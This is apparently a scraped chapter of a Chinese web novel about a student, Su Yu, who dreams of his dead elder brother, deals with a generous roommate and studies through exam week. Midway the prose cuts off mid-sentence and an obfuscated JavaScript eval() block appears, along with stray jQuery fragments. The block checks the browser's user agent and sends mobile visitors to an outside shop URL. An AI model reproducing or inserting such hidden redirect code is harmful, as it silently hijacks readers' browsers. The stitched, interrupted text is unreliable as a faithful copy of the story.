甚至苏瑾写日记的那天和旧照片的拍摄时间都差了一天。
照片在前，记录在后。
也就是说，这篇关于银杏树的日记并不是拍照当天写下的。
几年前的今天，苏瑾就站在那棵树下，举起手机，按下快门。几年后的今天，他也站在同一个位置，拍下了另一张照片。
苏瑜无意识地攥紧胸前的玉坠。
他和苏瑾之间，隔的不仅是几年光阴，还隔着一场生死。可偏偏在这一刻，两条本该毫无交集的时间线，短暂地重合了一次。
当晚，苏瑜又做梦了。
梦里的银杏树比白天看见的更高更茂，黄绿交织的树冠在头顶轻轻摇晃，风吹过的时候，叶片沙沙作响。
苏瑾站在树下。
苏瑜走过去，停在他身旁。两个人谁都没有说话，只是一起抬头看树。
过了一会儿，苏瑜才问：“你那天为什么会来这里？”
苏瑾似乎笑了一下：“忘了。”
苏瑜有点不信。
但他也知道梦里的苏瑾，说的一字一句都来源于自己的潜意识，而因为自己并不知道答案，所以苏瑾自然也答不上来。
苏瑜小声嘟囔：“骗人。”
风从两人中间穿过，一片黄绿色的银杏叶被风吹落，恰好落在苏瑾肩头。
苏瑜凑近他，伸手替他拿掉。指尖收回的时候，他下意识地抬起头，想看看苏瑾此刻是什么表情。
可视线落过去，依旧隔着一层雾，模糊不清。
苏瑜忽然想起来，那天在郑薇那里，他临走前问她：“为什么我一直看不清他的脸？”
郑薇沉默了一会儿，最后说：“也许，他在保护你。”
当时苏瑜没听懂。
可现在，他看着眼前这道始终模糊的身影，忽然就明白了。
最近这段时间，他确实越来越依赖梦境。白天上课的时候常常走神，午休的时间也比以前长了一点。
有时候明明不困，他还是会闭上眼睛躺一会儿，试图再见苏瑾一面。
睡得多了，白天的精神反而越来越差，到了晚上，更是迟迟睡不着。最近两天，他甚至认真想过，要不要买瓶安眠药。
……
如果是苏瑾的话，大概真的不会允许自己沉溺在一场梦里。
苏瑜垂下头，心口微微发涩。怪不得，不管自己白天怎么睡，都见不到苏瑾。
就在这时，一只手落在了他的发顶，动作温柔。
苏瑜怔了怔，下意识抬头。苏瑾顺着他抬头的动作，轻轻揉了揉他的头发。
“小鱼儿，好好睡觉。”
苏瑜鼻尖忽然有些发酸。他明明十分清楚，梦里的苏瑾说什么、做什么，都来源于自己的想象。
可这一刻，他还是宁愿相信，如果哥哥真的在这里，也会对他这样说。
苏瑜张了张口，还未来得及说话，又是一阵风吹过，满树银杏叶簌簌飘落，遮住视线，也将苏瑾淹没。
等他重新看清时，树下已空无一人，只剩满地银杏叶。
那天之后，苏瑜开始有意调整作息，不再刻意延长午睡时间，也尽量让自己晚上早点休息。
只是宿舍的环境终究算不上安静，一开始大家还会因为苏瑜早睡刻意照顾。不过时间长了，他也有些过意不去，让大家不用管他。
但这样的后果就是，苏瑜的睡眠质量更差了。
有时候袁常会打游戏到半夜，关项明时不时会晚归，看着最不老实的薛一舟反而是最安静的一个。而且他偶尔看苏瑜的床帘已经拉上，还会提醒其他人小声一点。
这不得不让苏瑜想起，刚开学的时候，薛一舟似乎就格外照顾他。
他本以为这位家境优渥的南方小少爷会很难接近，结果真正相处下来，反而是宿舍里最好说话的人，苏瑜也和他关系最好。
有一次，薛一舟又顺手帮他带了份晚饭，并死活不肯收钱。
苏瑜终于忍不住说：“你其实不用这么照顾我的。”
薛一舟把饭放在他桌子上，摆摆手：“顺手的事。”
不过……顺手的次数是不是太多了？
薛一舟看苏瑜欲言又止，眨眨眼道：“林学长不是说让我们多照顾照顾你吗。”
苏瑜正要开口，薛一舟又道：“不过我觉得学长不说也没事。”
“为什么？”
薛一舟看着他：“因为你看起来就好欺负。”
苏瑜：“……”
苏瑜承认自己是有点内向，但也想不明白这两件事之间有什么必然联系。
还有入学没多久，学校统计助学金申请名单的时候。薛一舟比辅导员还积极，连着好几天都在提醒苏瑜。
第一次是薛一舟趁着宿舍只有他们两个人，问他：“助学金申请你填了吗？”
苏瑜不知道他为什么要问这个，但还是如实说：“没有。”
薛一舟立刻皱眉：“还没截止。”
苏瑜虽然疑惑，但还是说：“我知道。”
薛一舟最后也没好说什么，只当他不急。
第二次提醒的时候，是截止日前一天。薛一舟又问他：“你还没填助学金申请表吗？”
“没有啊，”苏瑜被问得莫名其妙，“我为什么要填？”
他又不符合条件。
薛一舟盯着他看了好半天，最后说出一句：“能省一点是一点。”
苏瑜：“……？”
后来助学金申请截止后，薛一舟似乎对他更照顾了，时不时的就给他带东西，吃的喝的用的，甚至天气降温的时候还带他去买衣服。
入秋后，每逢周末，薛一舟就想拉着他去商场，不过苏瑜周末经常回家，一直没找到机会。
后来拒绝的次数太多，苏瑜也有些不好意思，就答应了，结果到了地方才发现薛一舟是要给自己买衣服。
苏瑜连连推脱，说自己有衣服，但始终拗不过这位大少爷。最后把薛一舟逼急了，直接一挂脸，语气也变了几分：“是不是看不起我？”
“我不是那个意思。”
苏瑜怕他生气多想，只好都收下。薛一舟这才露出满意的笑。
苏瑜这才后知后觉，薛一舟大概误会把他当成了家境困难，自尊心又特别强的贫困生。
他意识到以后就想解释清楚，可当他说自己真的不缺钱时，薛一舟又说：“我知道啊。”
语气自然到丝毫没觉得哪里不对。
可苏瑜觉得他的表情分明在说：“我懂，我都懂，自尊心嘛……”
久而久之，苏瑜不得不放弃，开始发愁另一件事——该怎么还？
他其实一直不太明白，为什么会有人无缘无故对另一个人好？
他小时候做错事会挨骂，听话的时候也没得到过夸奖，只有他尽力去讨好自己的生父，才能换来偶尔一点点的善意。
从小到大，苏瑜一直认为，很多事情都该是有条件的，想要什么就要先付出什么，哪怕付出的东西要比回报多得多。
可薛一舟不一样。
对方每次的关心都来得太自然，偏偏还都是真心实意的，反而让苏瑜有点无所适从。最后只能默默记在心里，想着以后有机会一定要还回去。
时间一点一点往前走，澜大的银杏树由青黄变金黄。
苏瑜慢慢戒掉了那种对梦境近乎贪恋的依赖，他学着把更多时间放回现实。
上课，看书，周末回家补觉。
每次回家，苏瑜做的第一件事就是去看含羞草。他很高兴，含羞草在何惊绾的精心照料下，长势极好，羽叶比走之前长大很多，茎干也长高了。
日子就这么不急不慢地往前走着，梦境也渐渐发生着变化。
苏瑜依旧会梦到苏瑾，只是比起从前那些面对面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840597|211632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
相处，更多时候，他变成了一个旁观者。
他总会梦到一些陌生又熟悉的画面，陌生的是自己从没有亲眼见过那样的苏瑾，熟悉的是那些画面都是苏瑾日记里的写过的片段。
苏瑜仅是站在不远处，安安静静地看着，就感觉异常满足。
他曾经一直对自己没能认识真实的苏瑾而耿耿于怀，而现在在梦里，他仿佛真的参与过哥哥的人生一样。
…………
进入十二月后，澜大的期末周也到了。
图书馆一天比一天人多。苏瑜泡在里面的时间也越来越长，从最后一节课结束，直到晚上闭馆才离开。
原因无他，欠下的总归要还。
前段时间他把太多精力放在了别的事情上，上课走神，晚上睡不好，每天精神都很差。而数理类的课程本就环环相扣，落下一点，后面就越来越吃力。
苏瑜从不觉得自己聪明，能考上澜大，靠得也不是天赋，而是一遍遍的学，一遍遍的重复。
可大学和高中终究不一样。老师并不会因为某个人知识没听懂就放慢进度。
等苏瑜回过神的时候，已经有好几门学科积累了一堆问题。于是不得不付出更多时间补回来。
况且，他的目标也不只是为了不挂科。
大学录取通知书收到后，父母曾高兴地请苏家的亲戚朋友吃过一顿饭，当做升学宴。
餐桌上，看着何惊绾和苏明志脸上毫不掩饰的笑意和自豪。苏瑜第一次意识到，原来自己也可以成为爸爸妈妈的骄傲。
他希望自己能一直优秀下去。拿奖学金，保住专业排名，不辜负父母的期待。
当然，还有一个更重要的原因——苏瑾。
苏瑜每次在图书馆学得满脸愁容的时候，就会想起大学时期的苏瑾。
哥哥的房间里有很多奖状和证书，优秀得似乎让人望尘莫及。每次想起那些东西，他就会暗暗生出一种不服输的劲。
他知道自己做不到像哥哥那样耀眼，但至少，也不能太差吧。
不然——
不然总觉得有点给哥哥丢脸。
苏瑜低头继续落笔，笔记本已经上写满密密麻麻的不定积分演算过程。
于是他又翻了一页……
等彻底收回思绪时，纸页上骤然多出两个上下挨着的名字——苏瑾，苏瑜。
苏瑜发现时，整个人立刻怔住，浑身如过电般生出酥酥麻麻的痒意。
他竟没有意识到自己是怎么写上去的。
图书馆很安静，苏瑜坐在靠窗位置，阳光透过玻璃落在笔记本上。再过一会儿，光线就能爬到那两个名字上。
这样想着，他下意识地把本子往旁边挪了一点点，让阳光正好照在苏瑾的名字上。
他也不知道自己为什么要这么做。
苏瑜盯着那两个字，顿感一阵羞赧，连耳朵都红了，仿佛做了什么不该做的事。
于是他匆匆把本子挪回来，又拿起笔，想把名字划掉。笔尖悬在“苏瑾”上方，落下的瞬间又忽然顿住。
这样不好。
苏瑜想了想，将笔尖转了个方向，轻轻划掉“苏瑜”两个字，可仔细辨认，依然可以看清自己的名字。
最后，他选择把自己涂黑，纸页只剩下“苏瑾”一个名字。
尽管这个笔记本平时只有自己会翻开，可看着本子上仅剩的名字，还是有些莫名心虚。
他在心里默默谴责自己：又不是小孩子了，怎么还在本子上写别人的名字呢。这下好了，不能划掉，更不能撕掉……万一有一天被人看见怎么办？
谴责完，心底好像又有另一个声音在反驳说：哥哥又不是别人。
苏瑜抬头看了看图书馆低头学习的众人，并没有人注意到他这边的小插曲。
他极小声地叹了口气：“唉……”
笔记本又被翻了一页。